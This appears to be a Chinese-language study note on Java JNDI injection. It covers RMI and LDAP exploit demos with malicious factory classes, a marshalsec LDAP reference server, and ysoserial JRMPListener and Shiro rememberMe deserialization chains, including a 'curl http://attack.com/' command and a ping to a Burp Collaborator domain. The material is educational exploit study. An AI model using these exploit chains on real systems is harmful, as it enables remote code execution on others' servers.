JNDI注入
Java漏洞在黑盒实战中的技巧——JNDI注入篇 - FreeBuf网络安全行业门户
JAVA安全之Log4j-Jndi注入原理以及利用方式_log4j jndi-CSDN博客
Java安全之JNDI注入 - nice_0e3 - 博客园
JNDI注入原理及利用考究-先知社区
深入理解JNDI注入与Java反序列化漏洞利用 - 博客 - 腾讯安全应急响应中心
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务
JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS
JNDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数可控,攻击者就可以将恶意的 url
传入参数远程加载恶意载荷,造成注入攻击
JNDI结构
JNDI结构
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
1 2 3 4 5 6 7 8 9 10
| javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
|
前置知识
InitialContext类
构造方法:
1 2 3 4 5 6
| InitialContext() 构建一个初始上下文 InitialContext(boolean lazy) 构造一个初始上下文,并选择不初始化它 InitialContext(Hashtable<?,?> environment) 使用提供的环境构建初始上下文
|
代码:
1
| InitialContext initialContext = new InitialContext();
|
在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
常用方法:
1 2 3 4 5 6 7 8 9 10
| bind(Name name, Object obj) 将名称绑定到对象。 list(String name) 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。 lookup(String name) 检索命名对象。 rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定。 unbind(String name) 取消绑定命名对象。
|
代码:
1 2 3 4 5 6 7 8 9 10 11 12
| package com.rmi.demo;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
|
Reference类
该类也是在javax.naming
的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法:
1 2 3 4 5 6 7 8
| Reference(String className) 为类名为“className”的对象构造一个新的引用。 Reference(String className, RefAddr addr) 为类名为“className”的对象和地址构造一个新引用。 Reference(String className, RefAddr addr, String factory, String factoryLocation) 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 Reference(String className, String factory, String factoryLocation) 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
|
代码:
1 2
| String url = "http://127.0.0.1:8080"; Reference reference = new Reference("test", "test", url);
|
参数1:className
- 远程加载时所使用的类名
参数2:classFactory
- 加载的class
中需要实例化类的名称
参数3:classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http
协议
常用方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| void add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。 void add(RefAddr addr) 将地址添加到地址列表的末尾。 void clear() 从此引用中删除所有地址。 RefAddr get(int posn) 检索索引posn上的地址。 RefAddr get(String addrType) 检索地址类型为“addrType”的第一个地址。 Enumeration<RefAddr> getAll() 检索本参考文献中地址的列举。 String getClassName() 检索引用引用的对象的类名。 String getFactoryClassLocation() 检索此引用引用的对象的工厂位置。 String getFactoryClassName() 检索此引用引用对象的工厂的类名。 Object remove(int posn) 从地址列表中删除索引posn上的地址。 int size() 检索此引用中的地址数。 String toString() 生成此引用的字符串表示形式。
|
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package com.rmi.demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class jndi { public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { String url = "http://127.0.0.1:8080"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("aa",referenceWrapper);
} }
|
LDAP/RMI
攻击示例:
RMI
代码示例:
(本地端)
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class JNDItest { public static void main(String[] args) throws NamingException{ InitialContext context = new InitialContext(); context.lookup("rmi://127.0.0.1:1099/evil") } }
|
(服务端)
RMIserver:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry; import java.lang.ref.Reference; import java.rmi.RemoteException; import java.rmi.registry.Registry;
public class RMIserver{ public static void main(String[] args){ Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("evil","evil","http://127.0.0.1/"); registry.bind("evil", new ReferenceWrapper(reference)); } }
|
(攻击端)
evil.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;
public class evil implements ObjectFactory{ public evil(){ Runtime.getRuntime().exec("calc"); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
|
打开终端,进入src,将恶意代码编译成class类(RMIserver和evil.java在同一个src)
javac evil.java
python -m http.server
: 监听端口,默认在8000 (在src/RMIserver.java),然后再运行RMIserver.java
再打开JNDItest.java运行
预期效果是运行后本地端弹出计算器
PS: 从JDK8U121开始RMI远程对象的Reference代码默认不信任
LDAP
协议 |
作用 |
LDAP |
轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
(本地端)
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class JNDItest { public static void main(String[] args) throws NamingException{ InitialContext context = new InitialContext(); context.lookup("ldap://127.0.0.1:1099/evil") } }
|
(服务端)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| package com.rmi.rmiclient;
import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
public class demo {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8080/#test"}; int port = 7777;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
(攻击端)
1 2 3 4 5 6 7
| import java.io.IOException;
public class evil { public evil() throws IOException{ Runtime.getRuntime().exec("calc"); } }
|
攻击步骤(要求url可控)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000/#evil 1099
Release marshalsec-0.0.3-SNAPSHOT-all.jar · 0ofo/marshalsec.jar
http://localhost:8000/#evil
: 恶意代码所在的http地址,#后面跟恶意类的class类名
1099
:LDAP引用服务所监听的端口
javac evil.java
python -m http.server
: 监听端口,默认在8000 (在src/server.java),然后再运行server.java
最后再在本地端运行代码:预期效果是运行后本地端弹出计算器
PS: 从JDK8U191开始LDAP远程引用代码默认不信任
原理:

(1)在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过Reference
类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定之后,服务端先通过Referenceable.getReference()
获取绑定对象的引用,并且在目录中保存。当客户端在lookup()
,查找这个远程对象时,客户端会获取相应的object factory
,最终通过factory
类将reference
转换为具体的对象实例,攻击者恶意代码被执行。
(2)由于 lookup()
的参数可控,攻击者在远程服务器上构造恶意的 Reference
类绑定在 RMIServer
的 Registry
里面,然后客户端调用 lookup()
函数里面的对象,远程类获取到 Reference
对象,客户端接收 Reference
对象后,寻找 Reference
中指定的类,若查找不到,则会在 Reference
中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI
注入攻击。
反序列化
Java反序列化工具ysoserial使用-CSDN博客
frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
java -jar ysoserial.jar [payload] '[command]'
介绍
RMP
JRMP(Java Remote Method Protocol)是Java远程方法调用协议的缩写。它是Java中用于实现分布式对象通信的一种协议。
在Java中,可以通过远程方法调用(Remote Method Invocation,RMI)来实现不同Java虚拟机(JVM)之间的通信。JRMP是RMI中的默认协议,它定义了在Java平台上进行远程方法调用所使用的协议规范。
JRMP允许在不同的JVM之间进行对象的远程调用,使得分布式系统中的Java对象可以通过网络进行交互。通过JRMP,客户端可以调用远程服务器上的方法,就像调用本地对象的方法一样。JRMP负责处理网络通信、对象序列化和反序列化等细节,以实现透明的远程方法调用。
要使用JRMP进行远程方法调用,需要定义接口、实现远程对象、绑定远程对象到特定的端口,并在客户端和服务器端分别设置相应的配置。
反序列化运用可以通过ysoserial
中的JRMPListener
来完成, ysoserialJRMPListener
使用方法如下:
1
| java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "curl http://attack.com/"
|
以上命令会在1099端口监听一个 JRMP
服务(JRMP 是 RMI用到的底层协议),当受害者 执行如下代码时,JRMPListener
会构造恶意的 commons Collections
序列化数据返回给受害者客 户端,若受害者应用依赖中存在有缺陷的 Apache commons Collections
库,反序列化攻击就会成功,命令 curl http://attacker.com/
就会在受害者系统上执行。
1 2 3 4 5
| String jndiUrl = "ldap://evil rmi server:1099/Exploit";
Context ctx = new InitialContext ();
ctx.lookup (jndiUrl);
|
反序列化利用手法不受 trustURLCodebase 属性配置的影响,因此即使是在 JDK 8u191 之后的版本,也可以利用JNDI注入进行反序列化攻击。
实例(来自CSDN)
攻击者先在公网 vps 上用 ysoserial 启一个恶意的 JRMPListener,监听在 19999 端口,并指定使用 CommonsCollections6 模块,要让目标执行的命令为 ping 一个域名:
java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999 CommonsCollections6 "ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net"
然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步监听的地址和端口(假如攻击者服务器 ip 地址为 1.1.1.1):
java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser
再用 shiro 编码脚本对 JRMPClient payload 进行编码:
java -jar shiro-exp.jar encrypt /tmp/jrmp.ser
将最后得到的字符串 Cookie 作为 rememberMe Cookie 的值,发送到目标网站。如果利用成功,则前面指定的 ping 命令会在目标服务器上执行,Burp Collaborator client 也将收到 DNS 解析记录。
原文链接:https://blog.csdn.net/st3pby/article/details/135111050
PS:以上关于JNDI的实战还没遇见过….感觉等刷到了后面会继续更新